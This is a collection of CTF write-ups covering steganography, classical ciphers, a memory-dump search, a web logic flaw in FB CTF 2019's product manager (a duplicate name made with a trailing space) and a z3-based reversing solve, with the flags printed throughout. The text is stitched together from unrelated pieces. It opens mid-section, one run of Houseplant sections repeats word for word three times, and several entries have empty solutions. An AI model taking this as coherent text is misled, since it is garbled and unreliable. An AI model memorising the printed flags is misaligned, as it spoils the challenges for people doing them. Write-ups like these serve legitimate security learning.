2TLEdubBbS21p7u3AUWQpj1TB98gUrgHFAiFZmbeJ8qZFb9qCUc8Qp6o86eJYkrm2NLexkSDyRYd3X9sRCRKJzoZnDtrWZKcHPxjoRaFPHfmeUyoxyyWQtiqEgdJR1WU4ywAYqRq7o55XLUgmdit6svgviN8qy72wvLvT2eWjECbqHdrKa2WjiAEvgaGxVedY8SRXXcU9JbP5Ps3RY2ieejz6DrF9NBD7mri2wrsyDs9gpVgosxnYPbwjGdmsq7GwudbqtJ7SeKgaStmygyfPast5F3ZKL9KeC2LzCeenffoZ4d4Cna7TZdkUsfdK1HNmoB46fo9jK5ENQwnWdPmZBnZ4h8uDxHpQF74rs3wPcpmch6Byu31och1cyz8JxgXkacHpTrGeAN2bEhRp8kDQpmPtj9QqaAgxTbam9hoB4mvtrRmRx5GnzzZoWW5qDxwMvgKCYWiLwtLcvjDZPNdHGbvFspFeCq7kBcTeyrjYeHxuwwwM1GpdwMdxzNiFK1jYkA4DUZRohuKxeyhBFiY9HuwD6zKf9nZMThoYwTGhAJR2d3GqVqXGsivAKLs1oBzrmH9V6vaMwAjM7Hu69TLfKHtZUThoiEDftxPJdraNxoQps3mFamNbT1U3kRdpAz5s5kq6i2jLBUjBjAdV9N8jWNqx4RgiaHTW5qqb8E6JvHgQyrVkLmMdsjoLAWaWZLRw2pQpBJehRsx1LU6wmAC1nfeLbdQxPmytaMUURBDhHVqPNxwThCzZsnA9RuKrYWGsmyTxCzVUEjvUXaU4hkoV62qn7G1TnVRiADNhRfMnxm8R2ZoSPxEhVaFyHvLweq Remember this challenge is called Ezoterik. Take a close look and you’ll see there aren’t any I,l,0, or O and some other characters I forget about. Pretty much the stuff that can be confusing when site reading something that isn’t words. Do a search for “base64 encoding alternatives” and you’ll come across base58, which is often used by bitcoin addresses. Throw that text into CyberChef and pull up the convenient base48 recipe. To get…. '<elevator lolwat action main show 114 show 116 show 99 show 112 show 123 show 78 show 111 show 116 show 32 show 113 show 117 show 105 show 116 show 101 show 32 show 110 show 111 show 114 show 109 show 97 show 108 show 32 show 115 show 116 show 101 show 103 show 111 show 95 show 52 show 120 show 98 show 98 show 52 show 53 show 103 show 121 show 116 show 106 show 125 end action action show num floor num outFloor end action>' What the hell is that? I didn’t recognize the language, but those numbers look alot like ASCII in decimal. Copy those numbers to their own list. Throw them in CyberChef on Magic for kicks and you’ll get the flag ### Flag: rtcp{Not quite normal stego_4xbb45gytj} # **[Jess's Guitar](https://houseplant.riceteacatpanda.wtf/challenge?id=22)** ### 1,922 Points Jess is pretty good at making music 1700X1700 Dev: Daphne Hint! [https://www.youtube.com/watch?v=QS1-K01mdXs](https://www.youtube.com/watch?v=QS1-K01mdXs) ### Solution:Based on the hint, I went searching for how to hide text in a raw audio file and came across this [video](https://www.youtube.com/watch?v=tU8WbB9vhDg). This challenge was pretty much identical to that. I used an online tool, [photopea](https://www.photopea.com/), to open the raw audio and create an image that was 1700x1700. The flag was in the image. ![jess](img/jess.png) ### Flag:rtcp{j3ss_i$_s0_t@lented} # **[Imagery](https://houseplant.riceteacatpanda.wtf/challenge?id=60)** ### 1,960 Points Photography is good fun. I took a photo of my 10 Windows earlier on but it turned out too big for my photo viewer. Apparently 2GB is too big. :( https://drive.google.com/file/d/1y4sfIaUrAOK0wXiDZXiOI-q2SYs6M--g/view?usp=sharing Alternate: https://mega.nz/file/R00hgCIa#e0gMZjsGI0cqw88GzbEzKhcijWGTEPQsst4QMfRlNqg Dev: Tom ### Solution:I spent forever on this one just extracting files using binwalk and crawling through those. There were a ton of directions you could go with that as there were images, html files, etc. I may not have gotten this one except for the fact that I saw a hint in Discord along the lines of `how long is a peice of string(s)? I need to write it down in my Notepad" This got me digging and I noticed that there were some mention of Notepad in the file. Some googling around and I came across this [post](https://www.andreafortuna.org/2018/03/02/volatility-tips-extract-text-typed-in-a-notepad-window-from-a-windows-memory-dump/) about using Volatility to read a memory dump. Following that guide I was able to use a newer version of Volatility on this file to get to the flag. It turns out that `strings -e l imagery.raw | grep rtcp` would have done it just as well. ### Flag:rtcp{camera_goes_click_brrrrrr^and^gives^photo} # **[Vacation Pics](https://houseplant.riceteacatpanda.wtf/challenge?id=54)** ### 1,994 Points So weird... I was gonna send two pictures from my vacation but I can only find one... where did the other one go?? Dev: Delphine [pictures.zip](https://houseplant.riceteacatpanda.wtf/download?file_key=a1216bb1565899e4dfeb9f91ab5f89ce22ba6bc5320026beb2140dd5a917edc3&team_key=2f442c580703a2af3b72516afcab8f66a84d3ccd858d0f0cf199e4bdb28231cb) 11fdedc0eb1c67ac54b98763f4c09e63 ### Solution: ### Flag:
# **[Neko Hero](https://houseplant.riceteacatpanda.wtf/challenge?id=33)** ### 50 Points Please join us in our campaign to save the catgirls once and for all, as the COVID-19 virus is killing them all and we need to provide food and shelter for them! nya~s and uwu~s will be given to those who donate! and headpats too! Dev: William (and inspired by forwardslash from htb i guess) ### Solution: ### Flag: # **[Deep Lyrics](https://houseplant.riceteacatpanda.wtf/challenge?id=55)** ### 1,487 Points Yay, more music! Dev: Delphine ### Solution: One of my teammates suggested DeepSound. Downloaded it in a VM. Opened the .wav and tada….text file with the flag. ### Flag: rtcp{got_youuuuuu} # **[Ezoterik](https://houseplant.riceteacatpanda.wtf/challenge?id=29)** ### 1,833 Points Inventing languages is hard. Luckily, there's plenty of them, including stupid ones. Dev: Tom Hint! You will find what you seek beyond the whitespace [ezoterik.jpg](https://houseplant.riceteacatpanda.wtf/download?file_key=122f4f2192af3c2baf8e315604c4b155bb5a1b0cf55f32befbd77340484d1f3a&team_key=2f442c580703a2af3b72516afcab8f66a84d3ccd858d0f0cf199e4bdb28231cb) 2ccd8135a03c5936b6f0b4e989db8a30 ### Solution: Opening the image there is a suspicious string of text. I recognized the text from prior CTF’s as a language called “brainfuck”. Lucky day, easy mode. After copying it out and running it through a decoder it spit out “Yeah, no, sorry.” Well played, sir. While the image was running through some stego scripts I pulled it up in a hex editor and saw a very obvious string of text at the end of the file after some whitespace. Probably what the clue was referring to. Copy that out and you’ll get this block of text. Looks like base64, right? 2TLEdubBbS21p7u3AUWQpj1TB98gUrgHFAiFZmbeJ8qZFb9qCUc8Qp6o86eJYkrm2NLexkSDyRYd3X9sRCRKJzoZnDtrWZKcHPxjoRaFPHfmeUyoxyyWQtiqEgdJR1WU4ywAYqRq7o55XLUgmdit6svgviN8qy72wvLvT2eWjECbqHdrKa2WjiAEvgaGxVedY8SRXXcU9JbP5Ps3RY2ieejz6DrF9NBD7mri2wrsyDs9gpVgosxnYPbwjGdmsq7GwudbqtJ7SeKgaStmygyfPast5F3ZKL9KeC2LzCeenffoZ4d4Cna7TZdkUsfdK1HNmoB46fo9jK5ENQwnWdPmZBnZ4h8uDxHpQF74rs3wPcpmch6Byu31och1cyz8JxgXkacHpTrGeAN2bEhRp8kDQpmPtj9QqaAgxTbam9hoB4mvtrRmRx5GnzzZoWW5qDxwMvgKCYWiLwtLcvjDZPNdHGbvFspFeCq7kBcTeyrjYeHxuwwwM1GpdwMdxzNiFK1jYkA4DUZRohuKxeyhBFiY9HuwD6zKf9nZMThoYwTGhAJR2d3GqVqXGsivAKLs1oBzrmH9V6vaMwAjM7Hu69TLfKHtZUThoiEDftxPJdraNxoQps3mFamNbT1U3kRdpAz5s5kq6i2jLBUjBjAdV9N8jWNqx4RgiaHTW5qqb8E6JvHgQyrVkLmMdsjoLAWaWZLRw2pQpBJehRsx1LU6wmAC1nfeLbdQxPmytaMUURBDhHVqPNxwThCzZsnA9RuKrYWGsmyTxCzVUEjvUXaU4hkoV62qn7G1TnVRiADNhRfMnxm8R2ZoSPxEhVaFyHvLweq Remember this challenge is called Ezoterik. Take a close look and you’ll see there aren’t any I,l,0, or O and some other characters I forget about. Pretty much the stuff that can be confusing when site reading something that isn’t words. Do a search for “base64 encoding alternatives” and you’ll come across base58, which is often used by bitcoin addresses. Throw that text into CyberChef and pull up the convenient base48 recipe. To get…. '<elevator lolwat action main show 114 show 116 show 99 show 112 show 123 show 78 show 111 show 116 show 32 show 113 show 117 show 105 show 116 show 101 show 32 show 110 show 111 show 114 show 109 show 97 show 108 show 32 show 115 show 116 show 101 show 103 show 111 show 95 show 52 show 120 show 98 show 98 show 52 show 53 show 103 show 121 show 116 show 106 show 125 end action action show num floor num outFloor end action>' What the hell is that? I didn’t recognize the language, but those numbers look alot like ASCII in decimal. Copy those numbers to their own list. Throw them in CyberChef on Magic for kicks and you’ll get the flag ### Flag: rtcp{Not quite normal stego_4xbb45gytj} # **[Jess's Guitar](https://houseplant.riceteacatpanda.wtf/challenge?id=22)** ### 1,922 Points Jess is pretty good at making music 1700X1700 Dev: Daphne Hint! [https://www.youtube.com/watch?v=QS1-K01mdXs](https://www.youtube.com/watch?v=QS1-K01mdXs) ### Solution:Based on the hint, I went searching for how to hide text in a raw audio file and came across this [video](https://www.youtube.com/watch?v=tU8WbB9vhDg). This challenge was pretty much identical to that. I used an online tool, [photopea](https://www.photopea.com/), to open the raw audio and create an image that was 1700x1700. The flag was in the image. ![jess](img/jess.png) ### Flag:rtcp{j3ss_i$_s0_t@lented} # **[Imagery](https://houseplant.riceteacatpanda.wtf/challenge?id=60)** ### 1,960 Points Photography is good fun. I took a photo of my 10 Windows earlier on but it turned out too big for my photo viewer. Apparently 2GB is too big. :( https://drive.google.com/file/d/1y4sfIaUrAOK0wXiDZXiOI-q2SYs6M--g/view?usp=sharing Alternate: https://mega.nz/file/R00hgCIa#e0gMZjsGI0cqw88GzbEzKhcijWGTEPQsst4QMfRlNqg Dev: Tom ### Solution:I spent forever on this one just extracting files using binwalk and crawling through those. There were a ton of directions you could go with that as there were images, html files, etc. I may not have gotten this one except for the fact that I saw a hint in Discord along the lines of `how long is a peice of string(s)? I need to write it down in my Notepad" This got me digging and I noticed that there were some mention of Notepad in the file. Some googling around and I came across this [post](https://www.andreafortuna.org/2018/03/02/volatility-tips-extract-text-typed-in-a-notepad-window-from-a-windows-memory-dump/) about using Volatility to read a memory dump. Following that guide I was able to use a newer version of Volatility on this file to get to the flag. It turns out that `strings -e l imagery.raw | grep rtcp` would have done it just as well. ### Flag:rtcp{camera_goes_click_brrrrrr^and^gives^photo} # **[Vacation Pics](https://houseplant.riceteacatpanda.wtf/challenge?id=54)** ### 1,994 Points So weird... I was gonna send two pictures from my vacation but I can only find one... where did the other one go?? Dev: Delphine [pictures.zip](https://houseplant.riceteacatpanda.wtf/download?file_key=a1216bb1565899e4dfeb9f91ab5f89ce22ba6bc5320026beb2140dd5a917edc3&team_key=2f442c580703a2af3b72516afcab8f66a84d3ccd858d0f0cf199e4bdb28231cb) 11fdedc0eb1c67ac54b98763f4c09e63 ### Solution: ### Flag:
# FB CTF 2019 – Product Manager * Category: web* Points: 100 ## Challenge > Come play with our products manager application! > http://challenges.fbctf.com:8087 > Written by Vampire > (This problem does not require any brute force or scanning. We will ban your team if we detect brute force or scanning). > The flag was a column of db raw > CREATE TABLE products (> secret char(64),> description varchar(250)> ); > INSERT INTO products VALUES('facebook', sha256(....), 'FLAG_HERE'); ## Solution On the web page we were allowed to enter a value in the database as long as it was not an existing value. The application php source was given and from the db.php file get_product function we find the solution to the challenge. Loading a "facebook " product (with an additional space) the value is entered and by calling with "facebook" (without space) the fetch of the view.php takes the first value corresponding to facebook, obtaining the flag. Resolved after trying an injection for a good hour! :( function get_product($name) { global $db; $statement = $db->prepare( "SELECT name, description FROM products WHERE name = ?" ); ```Facebook, Inc. is an American online social media and social networking service company based in Menlo Park, California. Very cool! Here is a flag for you: fb{4774ck1n9_5q1_w17h0u7_1nj3c710n_15_4m421n9_:)}```
# YOU wa SHOCKWAVE - Rev 250pts ## IntroductionI played this crazy CTF in the team CarbonaraConPanna, a merge of SaltedCrhackers (team of the University of Milan), ROPperoni (people from "La Sapienza", University of Rome), PGiatasti, ZenHack and those bad guys of PwnTheM0le (Polytechnic of Turin) We were provided with an archive (you_wa_shockwave.gz) containing the following files:![Challenge files](img/1.jpg) Trying to open Projector.exe and inserting some random characters into input: ![Running Projector.exe](img/2.jpg) After some digging we discovered that the app was made with Adobe Director 10 and that the most important file was the one with .dcr extension, which contains some kind of bytecode/memory dump. If you want to read more about how the .dcr file structure is made: https://medium.com/@nosamu/a-tour-of-the-adobe-director-file-format-e375d1e063c0 ## Obtaining some code Fortunately, someone had already reversed this type of file on GitHub. We used [DCR2DIR](https://github.com/Brian151/OpenShockwave/tree/master/tools/imports) to convert the project to a DIR file, and then we uploaded it to [this online Lingo Decompiler](https://alex-dev.org/lscrtoscript/). ```on check_flag(flag) if flag.length <> 42 then return(0) end if checksum = 0 i = 1 repeat while i <= 21 checksum = bitXor(checksum, zz(charToNum(flag.getProp(#char, i * 2 - 1)) * 256 + charToNum(flag.getProp(#char, i * 2)))) i = 1 + i end repeat if checksum <> 5803878 then return(0) end if check_data = [[2, 5, 12, 19, 3749774], [2, 9, 12, 17, 694990], [1, 3, 4, 13, 5764], [5, 7, 11, 12, 299886], [4, 5, 13, 14, 5713094], [0, 6, 8, 14, 430088], [7, 9, 10, 17, 3676754], [0, 11, 16, 17, 7288576], [5, 9, 10, 12, 5569582], [7, 12, 14, 20, 7883270], [0, 2, 6, 18, 5277110], [3, 8, 12, 14, 437608], [4, 7, 12, 16, 3184334], [3, 12, 13, 20, 2821934], [3, 5, 14, 16, 5306888], [4, 13, 16, 18, 5634450], [11, 14, 17, 18, 6221894], [1, 4, 9, 18, 5290664], [2, 9, 13, 15, 6404568], [2, 5, 9, 12, 3390622]] repeat while check_data <= 1 x = getAt(1, count(check_data)) i = x.getAt(1) j = x.getAt(2) k = x.getAt(3) l = x.getAt(4) target = x.getAt(5) sum = zz(charToNum(flag.getProp(#char, i * 2 + 1)) * 256 + charToNum(flag.getProp(#char, i * 2 + 2))) sum = bitXor(sum, zz(charToNum(flag.getProp(#char, j * 2 + 1)) * 256 + charToNum(flag.getProp(#char, j * 2 + 2)))) sum = bitXor(sum, zz(charToNum(flag.getProp(#char, k * 2 + 1)) * 256 + charToNum(flag.getProp(#char, k * 2 + 2)))) sum = bitXor(sum, zz(charToNum(flag.getProp(#char, l * 2 + 1)) * 256 + charToNum(flag.getProp(#char, l * 2 + 2)))) if sum <> target then return(0) end if end repeat return(1) exitend on zz(x) return(zz_helper(1, 1, x).getAt(1)) exitend on zz_helper(x,y,z) if y > z then return([1, z - x]) end if c = zz_helper(y, x + y, z) a = c.getAt(1) b = c.getAt(2) if b >= x then return([2 * a + 1, b - x]) else return([2 * a + 0, b]) end if exitend``` Uh! So: - The flag must be 42 character long- The input to be a valid flag must pass some kind of custom checksum, which check 8 chars at a time. For example, given the first element of data_check ( [2, 5, 12, 19, 3749774] ), the check will be performed on 5th, 6th, 11th, 12th, 25th, 26th, 37th and 38th chars (see in the code i\*2+1, i\*2+2, etc). This makes a bruteforce hard to do... Or not? ## Coding time My teammates (thanks @kzalloc and [@gaspareG](https://gaspa.re/)) wrote a solver script in python (included file "solver.py"), introducing me to a module called z3. I had never heard of, but now I'm loving it. Given what he managed to do in this challenge, it seems to me a very powerful tool. Basically, it was enough to translate functions from Lingo Code to Python and tell z3 some conditions (like that the flag characters must be included in the ASCII printable range and that the flag must pass the custom checksum function). ## The flag After a few minutes of computation: ![Solver running](img/3.jpg) PCTF{Gr4ph1CS_D3SiGn_Is_tRUlY_My_Pas5ioN!}
# **[Neko Hero](https://houseplant.riceteacatpanda.wtf/challenge?id=33)** ### 50 Points Please join us in our campaign to save the catgirls once and for all, as the COVID-19 virus is killing them all and we need to provide food and shelter for them! nya~s and uwu~s will be given to those who donate! and headpats too! Dev: William (and inspired by forwardslash from htb i guess) ### Solution: ### Flag: # **[Deep Lyrics](https://houseplant.riceteacatpanda.wtf/challenge?id=55)** ### 1,487 Points Yay, more music! Dev: Delphine ### Solution: One of my teammates suggested DeepSound. Downloaded it in a VM. Opened the .wav and tada….text file with the flag. ### Flag: rtcp{got_youuuuuu} # **[Ezoterik](https://houseplant.riceteacatpanda.wtf/challenge?id=29)** ### 1,833 Points Inventing languages is hard. Luckily, there's plenty of them, including stupid ones. Dev: Tom Hint! You will find what you seek beyond the whitespace [ezoterik.jpg](https://houseplant.riceteacatpanda.wtf/download?file_key=122f4f2192af3c2baf8e315604c4b155bb5a1b0cf55f32befbd77340484d1f3a&team_key=2f442c580703a2af3b72516afcab8f66a84d3ccd858d0f0cf199e4bdb28231cb) 2ccd8135a03c5936b6f0b4e989db8a30 ### Solution: Opening the image there is a suspicious string of text. I recognized the text from prior CTF’s as a language called “brainfuck”. Lucky day, easy mode. After copying it out and running it through a decoder it spit out “Yeah, no, sorry.” Well played, sir. While the image was running through some stego scripts I pulled it up in a hex editor and saw a very obvious string of text at the end of the file after some whitespace. Probably what the clue was referring to. Copy that out and you’ll get this block of text. Looks like base64, right? 2TLEdubBbS21p7u3AUWQpj1TB98gUrgHFAiFZmbeJ8qZFb9qCUc8Qp6o86eJYkrm2NLexkSDyRYd3X9sRCRKJzoZnDtrWZKcHPxjoRaFPHfmeUyoxyyWQtiqEgdJR1WU4ywAYqRq7o55XLUgmdit6svgviN8qy72wvLvT2eWjECbqHdrKa2WjiAEvgaGxVedY8SRXXcU9JbP5Ps3RY2ieejz6DrF9NBD7mri2wrsyDs9gpVgosxnYPbwjGdmsq7GwudbqtJ7SeKgaStmygyfPast5F3ZKL9KeC2LzCeenffoZ4d4Cna7TZdkUsfdK1HNmoB46fo9jK5ENQwnWdPmZBnZ4h8uDxHpQF74rs3wPcpmch6Byu31och1cyz8JxgXkacHpTrGeAN2bEhRp8kDQpmPtj9QqaAgxTbam9hoB4mvtrRmRx5GnzzZoWW5qDxwMvgKCYWiLwtLcvjDZPNdHGbvFspFeCq7kBcTeyrjYeHxuwwwM1GpdwMdxzNiFK1jYkA4DUZRohuKxeyhBFiY9HuwD6zKf9nZMThoYwTGhAJR2d3GqVqXGsivAKLs1oBzrmH9V6vaMwAjM7Hu69TLfKHtZUThoiEDftxPJdraNxoQps3mFamNbT1U3kRdpAz5s5kq6i2jLBUjBjAdV9N8jWNqx4RgiaHTW5qqb8E6JvHgQyrVkLmMdsjoLAWaWZLRw2pQpBJehRsx1LU6wmAC1nfeLbdQxPmytaMUURBDhHVqPNxwThCzZsnA9RuKrYWGsmyTxCzVUEjvUXaU4hkoV62qn7G1TnVRiADNhRfMnxm8R2ZoSPxEhVaFyHvLweq Remember this challenge is called Ezoterik. Take a close look and you’ll see there aren’t any I,l,0, or O and some other characters I forget about. Pretty much the stuff that can be confusing when site reading something that isn’t words. Do a search for “base64 encoding alternatives” and you’ll come across base58, which is often used by bitcoin addresses. Throw that text into CyberChef and pull up the convenient base48 recipe. To get…. '<elevator lolwat action main show 114 show 116 show 99 show 112 show 123 show 78 show 111 show 116 show 32 show 113 show 117 show 105 show 116 show 101 show 32 show 110 show 111 show 114 show 109 show 97 show 108 show 32 show 115 show 116 show 101 show 103 show 111 show 95 show 52 show 120 show 98 show 98 show 52 show 53 show 103 show 121 show 116 show 106 show 125 end action action show num floor num outFloor end action>' What the hell is that? I didn’t recognize the language, but those numbers look alot like ASCII in decimal. Copy those numbers to their own list. Throw them in CyberChef on Magic for kicks and you’ll get the flag ### Flag: rtcp{Not quite normal stego_4xbb45gytj} # **[Jess's Guitar](https://houseplant.riceteacatpanda.wtf/challenge?id=22)** ### 1,922 Points Jess is pretty good at making music 1700X1700 Dev: Daphne Hint! [https://www.youtube.com/watch?v=QS1-K01mdXs](https://www.youtube.com/watch?v=QS1-K01mdXs) ### Solution:Based on the hint, I went searching for how to hide text in a raw audio file and came across this [video](https://www.youtube.com/watch?v=tU8WbB9vhDg). This challenge was pretty much identical to that. I used an online tool, [photopea](https://www.photopea.com/), to open the raw audio and create an image that was 1700x1700. The flag was in the image. ![jess](img/jess.png) ### Flag:rtcp{j3ss_i$_s0_t@lented} # **[Imagery](https://houseplant.riceteacatpanda.wtf/challenge?id=60)** ### 1,960 Points Photography is good fun. I took a photo of my 10 Windows earlier on but it turned out too big for my photo viewer. Apparently 2GB is too big. :( https://drive.google.com/file/d/1y4sfIaUrAOK0wXiDZXiOI-q2SYs6M--g/view?usp=sharing Alternate: https://mega.nz/file/R00hgCIa#e0gMZjsGI0cqw88GzbEzKhcijWGTEPQsst4QMfRlNqg Dev: Tom ### Solution:I spent forever on this one just extracting files using binwalk and crawling through those. There were a ton of directions you could go with that as there were images, html files, etc. I may not have gotten this one except for the fact that I saw a hint in Discord along the lines of `how long is a peice of string(s)? I need to write it down in my Notepad" This got me digging and I noticed that there were some mention of Notepad in the file. Some googling around and I came across this [post](https://www.andreafortuna.org/2018/03/02/volatility-tips-extract-text-typed-in-a-notepad-window-from-a-windows-memory-dump/) about using Volatility to read a memory dump. Following that guide I was able to use a newer version of Volatility on this file to get to the flag. It turns out that `strings -e l imagery.raw | grep rtcp` would have done it just as well. ### Flag:rtcp{camera_goes_click_brrrrrr^and^gives^photo} # **[Vacation Pics](https://houseplant.riceteacatpanda.wtf/challenge?id=54)** ### 1,994 Points So weird... I was gonna send two pictures from my vacation but I can only find one... where did the other one go?? Dev: Delphine [pictures.zip](https://houseplant.riceteacatpanda.wtf/download?file_key=a1216bb1565899e4dfeb9f91ab5f89ce22ba6bc5320026beb2140dd5a917edc3&team_key=2f442c580703a2af3b72516afcab8f66a84d3ccd858d0f0cf199e4bdb28231cb) 11fdedc0eb1c67ac54b98763f4c09e63 ### Solution: ### Flag:
# CH₃COOH #### 50 Points ### '<Owaczoe gl oa yjirmng fmeigghb bd tqrrbq nabr nlw heyvs pfxavatzf raog ktm vlvzhbx tyyocegguf. Tbbretf gwiwpyezl ahbgybbf dbjr rh sveah cckqrlm opcmwp yvwq zr jbjnar. Slinjem gfx opcmwp yvwq gl demwipcw pl ras sckarlmogghb bd xhuygcy mk ghetff zr opcmwp yvwq ztqgckwn. Rasec tfr ktbl rrdrq ht iggstyk, rrnxbqggu bl lchpvs zymsegtzf. Tbbretf vq gcj ktwajr ifcw wa ras psewaykm npmg: nq t tyyocednz, nabrva vcbibbt gguecwwrlm, ce gg dvadzvlz. Of ras zmlh rylwyw foasyoprnfrb fwyb tqvb, bh uyl vvqmcegvoyjr vnb t kvbx jnpbsgw ht vlwifrkwnj tbq bharqmwp slsf (qnqu yl wgq ngr yl o umngrfhzq aesnlxf). Jfbzr tbbretf zydwae fol zx of mer nq tzpmacygv pecpwae, mvr dbffr wcpsfsarxr rtbrrlvs bd owaczoe ktyvlz oab ngr utg ow mvr Ygqvcgh Oyumymgwnll oemnbq 3000 ZV. Hucr degfoegem zyws iggstyk temf rnrxg, sgzg, nlw prck oab ngrb bh smk pbra qhjbbnpr oab fsqgvwaye dhpicfcl. Heyvsf my wg yegb ftjr zxsa dhiab bb Rerdggtb hpgg. Vl Xofr Tgvy, mvr Aawacls oczoa nkcsclgvmgoygswae owaczoe nkcqsvhvmg wa ras Mfhi Qwgofrr. Wa ras omhy Mfhi Yg, bh zcghvmgg zygm amuzr mk fbwtz umngrfhzqq aoq y “owaczoe ktyrp” tg n qispgtzvxxr cmlwgghb. Zmlh iggstyk anibbt rasa utg pmgqrlmfnrxr vl pvnr bg amp Guyglv nkciggqr lxoe ras pgmm Gybmhyg kugvv ecfovll o syfchq owaczoe ktyvlz frebca rhrnw. Foaw Vvvlxgr tbbretff ygr gfxwe slsf dhf psewaykm nlw arbbqvltz cskdbqxg jcks jpbhgcg rbug wa ras nekwpsehhptz zyginj Jwzgg Mnmlvh. pmqc{tbbretf_bl_fm_sglv_nlw_qugig_cjxofc}>' Dev: William Hint! Short keys are never a good thing in cryptography. ### Solution: ### Short key, first crypto in a CTF? Just smells of a Vigenere cipher. Google “vigenere decoder” and you’ll come up with a couple tools that will brute force this and use letter analysis to figure out which is most likely to be the right flag. In this case “tony” comes up pretty quick and you can pull the flag out. ### Flag: ### rtcp{vinegar_on_my_fish_and_chips_please} # "fences are cool unless they're taller than you" - tida #### 50 Points ### “They say life's a roller coaster, but to me, it's just jumping over fences.” tat_uiwirc{s_iaaotrc_ahn}pkdb_esg ### Solution: ### Google “fence cipher” and you’ll read about the Rail Fence Cipher. Throw the encrypted flag into CyberChef and choose “Rail Fence Cipher Decode” and fiddle with some settings. When you go from key 2 to key 3 things look much better. It still wraps the r to the end of the string, but you just fix that manually. Be VERY careful about copying the ciphertext. An extra space or CR at the end will throw everything off. ### Flag: ### rtcp{ask_tida_about_rice_washing} # Returning Stolen Archives #### 50 Points ### Fried eggs are the best. Oh no! I broke my yolk... well, I guess I have to scramble it now. Ciphertext: smdrcboirlreaefd Dev: Delphine Hint! words are separated with underscores ### Soulution: ### ### Flag: ### # Broken Yolks #### 518 Points ### Fried eggs are the best. Oh no! I broke my yolk... well, I guess I have to scramble it now. Ciphertext: smdrcboirlreaefd Hint! words are separated with underscores ### Solution: ### Why hello Google, my old friend. Search for “scramble cipher” and you’ll pull up a few tools that extract words from a string of text to help with solving anagrams. Looking at those words “scrambled” sticks out with all of the egg references in the title and help text. Remove those letters and you have “doirref”. Run it through again or think in scrable tiles and you’ll see “fried or” as an anagram that fits nicely to give you…. ### Flag: ### rtcp{fried_or_scrambled} # Rivest Shamir Adleman #### 831 Points ### A while back I wrote a Python implementation of RSA, but Python's really slow at maths. Especially generating primes. Dev: Tom Hint! There are two possible ways to get the flag ;-) ### Solution: ### ### Flag: ### # Post-Homework Death #### 1,173 Points ### My math teacher made me do this, so now I'm forcing you to do this too. Flag is all lowercase; replace spaces with underscores. Dev: Claire Hint! When placing the string in the matrix, go up to down rather than left to right. Hint! Google matrix multiplication properties if you're stuck. ### Solution: ### ### Flag: ### # Parasite #### 1,262 Points ### paraSite Killed me A liTtle inSide Flag: English, case insensitive; turn all spaces into underscores Dev: Claire Hint! Make sure you keep track of the spacing- it's there for a reason ### Soluton: ### This one gave us fits. The text was in Morse code, but the letters made no sense whatsoever. Just for kicks, we ran them through a few cipher decoders with no effect. The Morse code had a number of single and double spaces that looked suspiciously like fractionated Morse code to our resident Morse geek. Perhaps the pattern in the hint represented delimiters? After an hour or so of playing with offsets and separators, it became evident that this was not the case. One of our teammates again pointed to the hint and noticed that S-K-A-T-S were capitalized. He found that SKATS stood for South Korean Alphabet Transliteration System (also known as Korean Morse equivalents). He also saw the Korean movie Parasite and remembered a scene where one of the characters used Morse code to communicate. Using the SKATS table, our teammate managed to translate each letter into the corresponding Hangul characters. Unfortunately, he was a native english speaker and was stuck. Google Translate was not working very well (as is often the case with Asian characters). Luckily, one of our team members lives in the heart of K-Town and was able to lean on his friendly neighborhood Korean family for some help with Hangul. ### Flag: ### rtcp{hope_is_the_true_parasite} # Sizzle #### 1,345 Points ### Due to the COVID-19 outbreak, we ran all out of bacon, so we had to use up the old stuff instead. Sorry for any inconvenience caused... Dev: William Hint! Wrap your flag with rtcp{}, use all lowercase, and separate words with underscores. Hint! Is this really what you think it is? ### Solution:### Bacon is quite yummy, but pork products probably weren't what the devs meant for this one. Bacon refers to the Baconian Cipher devised by Francis Bacon in 1605. The Baconian cipher is a 5-bit binary cipher where each letter of plaintext is represented by a group of five of “A” or “B” letters. In this case, the encoded text was a block of Morse code that translated to gibberish. Recognizing that every “letter” was five characters long, I used a quick regex script to replace each “dot” with an “A” and each “dash” with a “B”. This created Baconian letters that were easily translated using the Bacon Decoder at dcode.fr. ### Flag: ### rtcp{BACON_BUT_GRILLED_AND_MORSIFIED} # Rainbow Vomit #### 1,585 Points ### o.O What did YOU eat for lunch?! The flag is case insensitive. Dev: Tom Hint! Replace spaces in the flag with { or } depending on their respective places within the flag. Hint! Hues of hex Hint! This type of encoding was invented by Josh Cramer. ### Solution: ### First open this image up in a proper editor. Opening it up in a browser or image view tends to blur the image when you zoom way in. Opening it in Gimp and zoom in so you see individual pixels. I first noticed there were not a lot of colors and it looked kind of like an old CGA palette. Using the color picker I grabbed a few and based on the CYMK values thought each one could be a nibble. I transcoded it and joined two colors into bytes. Once I converted that to ASCII it was pretty obviously jiberish. I poked at it a few more times, but no good ideas. Either the hints weren’t there when I first started or, more likely, I didn’t read them. Luckily one of my teammates recognized it or was better at google and came up with Hexahue encoding. We manually transcoded a couple letters and it was definitely the answer and we couldn’t find any pre built decoding apps so I made this hideous python script to print out the whole thing. Giving you…. “there is such as thing as a tomcat but have you ev er heard of a tomdog. this is the most important q uestion of our time, and unfortunately one that ma y never be answered by modern science. the definit ion of tomcat is a male cat, yet the name for a ma le dog is max. wait no. the name for a male dog is just dog. regardless, what would happen if we wer e to combine a male dog with a tomcat. perhaps wed end up with a dog that vomits out flags, like thi s one rtcp should,fl5g4,b3,st1cky,or,n0t” ### Flag: ### rtcp{should,fl5g4,b3,st1cky,or,n0t} # 11 #### 1,777 Points ### I wrote a quick script, would you like to read it? - Delphine (doorbell rings) delphine: Jess, I heard you've been stressed, you should know I'm always ready to help! Jess: Did you make something? I'm hungry... Delphine: Of course! Fresh from the bakery, I wanted to give you something, after all, you do so much to help me all the time! Jess: Aww, thank you, Delphine! Wow, this bread smells good. How is the bakery? Delphine: Lots of customers and positive reviews, all thanks to the mention in rtcp! Jess: I am really glad it's going well! During the weekend, I will go see you guys. You know how much I really love your amazing black forest cakes. Delphine: Well, you know that you can get a free slice anytime you want. (doorbell rings again) Jess: Oh, that must be Vihan, we're discussing some important details for rtcp. Delphine: sounds good, I need to get back to the bakery! Jess: Thank you for the bread! <3 Dev: Delphine edit: This has been a source of confusion, so: the code in the first hint isn't exactly the method to solve, but is meant to give you a starting point to try and decode the script. Sorry for any confusion. Hint! I was eleven when I finished A Series of Unfortunate Events. Hint! Flag is in format: rtcp{.*} add _ (underscores) in place of spaces. Hint! Character names count too ### Solution: ### ### Flag: ### # .... .- .-.. ..-. #### 1,882 Points ### Ciphertext: 